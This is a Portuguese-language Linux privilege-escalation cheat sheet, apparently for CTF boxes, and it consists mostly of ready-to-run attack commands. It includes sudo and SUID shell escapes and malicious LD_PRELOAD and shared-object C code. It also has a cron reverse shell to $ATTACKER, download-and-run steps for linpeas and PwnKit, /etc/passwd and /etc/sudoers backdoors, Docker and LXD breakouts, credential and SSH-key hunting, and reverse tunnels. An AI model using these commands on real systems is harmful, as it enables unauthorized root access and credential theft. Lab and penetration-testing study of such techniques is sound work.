Minha referência go-to pra Linux privesc. Cada box é diferente mas o checklist é sempre o mesmo. Passe por isso metodicamente e vai achar o caminho.
Enumeração Inicial
Rode esses primeiro. Toda vez. Sem exceções.
# Quem sou eu
whoami
id
hostname
# Info do SO
cat /etc/os-release
uname -a
cat /proc/version
# Direitos sudo — A PRIMEIRA COISA QUE CHECA
sudo -l
# Usuários
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/group
# Rede
ip a
ss -tulnp
netstat -tulnp
# Processos rodando
ps auxf
# Pacotes instalados (procure coisas custom/incomuns)
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
# Filesystems montados
mount
cat /etc/fstab
# Variáveis de ambiente
env
cat /etc/profile
cat ~/.bashrc
Dica: ss -tulnp revela serviços internos não visíveis no seu scan nmap. Achou MySQL, Redis, ou algo no localhost? Esse é seu pivot.
Enumeração Automatizada
# LinPEAS — o GOAT
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Ou transferir e rodar
wget http://$ATTACKER:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
# LinEnum
./linenum.sh -t
# pspy — monitorar processos sem root (pega cron jobs)
./pspy64
Pegadinha: Se não conseguir transferir arquivos, tente encoding base64 ou copy-paste. Ou só rode as checagens manuais abaixo.
Abuso de Sudo
sudo -l
Esse é o comando mais importante em Linux privesc. Ponto final.
Padrões GTFOBins
Cheque cada binário no GTFOBins.
# Wins comuns com sudo
sudo vim -c '!sh'
sudo find / -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo less /etc/shadow # depois !sh
sudo man man # depois !sh
sudo env /bin/sh
sudo nmap --interactive # versões antigas: !sh
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
# Escapes de editor
sudo vi # :!sh ou :set shell=/bin/sh depois :shell
sudo nano # Ctrl+R, Ctrl+X, depois comando
sudo com NOPASSWD e env_keep
# Abuso de LD_PRELOAD — se env_keep+=LD_PRELOAD no sudo -l
# 1. Escrever shared object malicioso
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
# 2. Compilar
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# 3. Rodar qualquer comando sudo permitido com ele
sudo LD_PRELOAD=/tmp/shell.so <programa_permitido>
sudo com LD_LIBRARY_PATH
# Se env_keep+=LD_LIBRARY_PATH
# 1. Encontrar shared libraries que o binário sudo usa
ldd /usr/bin/<programa_permitido>
# 2. Criar library maliciosa com o mesmo nome de uma delas
cat > /tmp/libfoo.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/libfoo.so /tmp/libfoo.c
sudo LD_LIBRARY_PATH=/tmp <programa_permitido>
Versões sudo
sudo --version
- CVE-2021-3156 (Baron Samedit): sudo < 1.9.5p2. Heap overflow -> root.
- CVE-2019-14287:
sudo -u#-1 /bin/bashquando sudoers diz(ALL, !root). - CVE-2019-18634: Buffer overflow quando
pwfeedbacktá habilitado.
Binários SUID/SGID
# Encontrar binários SUID
find / -perm -4000 -type f 2>/dev/null
# Encontrar binários SGID
find / -perm -2000 -type f 2>/dev/null
# Ambos
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
Compare cada resultado com GTFOBins. Foque em qualquer coisa não padrão.
Exploits SUID Comuns
# Binário SUID customizado chamando system() sem path completo
# Checar com:
strings /path/to/suid_binary
ltrace /path/to/suid_binary
strace /path/to/suid_binary
# Se ele chama algo tipo system("service apache2 start")
# PATH hijack:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
# SUID bash/sh
/bin/bash -p
/bin/sh -p
# SUID cp — sobrescrever /etc/passwd ou /etc/shadow
# Gerar hash de senha:
openssl passwd -1 hacked
# Criar passwd modificado com entrada root
# Copiar por cima com o cp SUID
# SUID find
find . -exec /bin/sh -p \; -quit
# SUID python
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Pegadinha: A flag -p é crítica com bash/sh SUID. Sem ela, o bash dropa privilégios.
Linux Capabilities
# Encontrar binários com capabilities
getcap -r / 2>/dev/null
Capabilities Perigosas
| Capability | Abuso |
|---|---|
cap_setuid+ep | Setar UID pra 0. Root direto. |
cap_setgid+ep | Setar GID pra 0. |
cap_net_raw+ep | Sniffing de pacotes. |
cap_dac_read_search+ep | Ler qualquer arquivo. |
cap_dac_override+ep | Escrever em qualquer arquivo. |
cap_net_bind_service+ep | Bind em portas privilegiadas. |
# python3 com cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl com cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# tar com cap_dac_read_search — ler /etc/shadow
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
# openssl com cap_setuid
openssl req -engine /tmp/privesc.so # engine customizada
Cron Jobs
# Cron do sistema
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
# Crons de usuário
crontab -l
crontab -l -u root 2>/dev/null
# systemd timers
systemctl list-timers --all
# Monitorar processos (pspy é melhor mas isso funciona)
watch -n 1 'ps aux | grep -v watch'
Exploração de Cron
# 1. Script é gravável por ti -> injetar reverse shell
echo 'bash -i >& /dev/tcp/$ATTACKER/9001 0>&1' >> /path/to/cron_script.sh
# 2. Script referencia um diretório gravável -> PATH hijack
# Se cron roda: /usr/local/bin/backup.sh que chama "tar" sem path completo
# E PATH no crontab começa com um diretório gravável
# 3. Wildcard injection (tar, rsync, chown)
# Cron roda: tar czf /tmp/backup.tar.gz *
# No diretório de trabalho:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > privesc.sh
# 4. Script do cron não existe mas diretório é gravável
# Só crie com seu payload
Dica: pspy é o verdadeiro MVP aqui. Alguns cron jobs não aparecem no crontab mas ainda rodam. pspy pega tudo.
Arquivos e Diretórios Graváveis
# Arquivos world-writable
find / -writable -type f 2>/dev/null | grep -v proc
# Diretórios world-writable
find / -writable -type d 2>/dev/null
# Arquivos do usuário atual
find / -user $(whoami) -type f 2>/dev/null
# /etc/passwd gravável — root instantâneo
openssl passwd -1 hacked
# Adicionar ao /etc/passwd:
echo 'root2:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2
# /etc/shadow gravável — substituir hash do root
mkpasswd -m sha-512 hacked
# Substituir o hash do root no /etc/shadow
PATH Hijacking
Funciona quando um script/binário privilegiado chama outro binário sem o path completo.
# 1. Encontrar a chamada vulnerável
strings /path/to/suid_binary # procurar chamadas system
strace /path/to/suid_binary 2>&1 | grep exec
# 2. Criar binário malicioso
echo '/bin/bash -p' > /tmp/targetcmd
chmod +x /tmp/targetcmd
# 3. Colocar no início do PATH
export PATH=/tmp:$PATH
# 4. Rodar o binário vulnerável
/path/to/suid_binary
Kernel Exploits
Último recurso. Pode crashar a box. Mas às vezes é o único jeito.
# Coletar info
uname -a
cat /proc/version
cat /etc/os-release
Kernel Exploits Notáveis
| CVE | Nome | Versões do Kernel |
|---|---|---|
| CVE-2016-5195 | Dirty COW | < 4.8.3 |
| CVE-2021-4034 | PwnKit (pkexec) | Polkit < 0.120 |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 |
| CVE-2022-0847 | Dirty Pipe | 5.8 <= kernel < 5.16.11 |
| CVE-2022-2588 | DirtyCred | kernel < 5.19 |
| CVE-2023-0386 | OverlayFS | kernel < 6.2 |
| CVE-2023-32233 | nf_tables | kernel < 6.4 |
# PwnKit — funciona na maioria dos sistemas com polkit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit
# Dirty Pipe
# Baixar exploit, compilar no alvo ou cross-compile
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe /etc/passwd 1 "${openssl_hash}"
Pegadinha: Sempre tente PwnKit primeiro. Funciona num número surpreendente de boxes e não crasha nada.
NFS
# Checar shares NFS
showmount -e $IP
cat /etc/exports
# Procurar no_root_squash
cat /etc/exports | grep no_root_squash
Exploração no_root_squash
# Na máquina atacante (como root)
mkdir /tmp/nfs
mount -t nfs $IP:/share /tmp/nfs
# Criar binário SUID
cat > /tmp/nfs/shell.c << 'EOF'
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell
chmod u+s /tmp/nfs/shell
# No alvo — rodar o binário SUID
/share/shell
Docker / Container Breakout
# Tô num container?
cat /proc/1/cgroup 2>/dev/null | grep docker
ls -la /.dockerenv
hostname # hex aleatório = provavelmente container
# Docker socket acessível?
ls -la /var/run/docker.sock
# Usuário no grupo docker? -> root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Escape via mount do docker socket
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# Escape de container privilegiado
# Checar: cat /proc/self/status | grep CapEff
# Se 0000003fffffffff — é privilegiado
mkdir /tmp/escape && mount -t cgroup -o rdma cgroup /tmp/escape
# Ou use a tool CDK
Grupo LXD/LXC
# Usuário no grupo lxd -> root
# No atacante: buildar imagem alpine
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine
# Transferir pro alvo
lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# Root filesystem em /mnt/root
Caça de Credenciais
# Arquivos de histórico
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.nano_history
# Arquivos de config com senhas
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null | head -30
grep -ri "password" /etc/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /opt/ 2>/dev/null
grep -ri "pass\|pwd\|token\|secret\|key" /home/ 2>/dev/null
# Chaves SSH
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
# Configs de web apps
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/.env 2>/dev/null
# Credenciais de banco de dados
cat /etc/mysql/debian.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null
# Reuso de senha — achou uma senha? Tente como root
su root
Dica: Reuso de senha é absurdamente comum. Toda senha que achar, tente como root e todo outro usuário da box.
Diversos
/etc/sudoers Gravável
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo su
cat /var/mail/$(whoami)
cat /var/spool/mail/$(whoami)
Shared Object Injection
# Binário SUID carregando um .so que não existe
strace /path/to/suid_binary 2>&1 | grep "No such file"
# Se ele tenta carregar /home/user/.config/libfoo.so
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /home/user/.config/libfoo.so /tmp/privesc.c
/path/to/suid_binary
Serviços Internos
# Port forward pra acessar serviços internos
# SSH local forward
ssh -L 8080:127.0.0.1:8080 user@$IP
# Chisel
# Atacante: chisel server --reverse --port 8001
# Alvo: chisel client $ATTACKER:8001 R:8080:127.0.0.1:8080
Checklist de Quick Wins
sudo -l— sempre primeiro- Binários SUID -> GTFOBins
- Capabilities ->
cap_setuidé root grátis - Cron jobs com scripts graváveis ou wildcard injection
/etc/passwdgravável- Versão do kernel -> PwnKit, Dirty Pipe
- Membresia em grupo Docker/lxd
- Credenciais em config files, histórico, ambiente
- Serviços internos no localhost
- NFS com
no_root_squash - Chaves SSH jogadas por aí
- Reuso de senha em todo lugar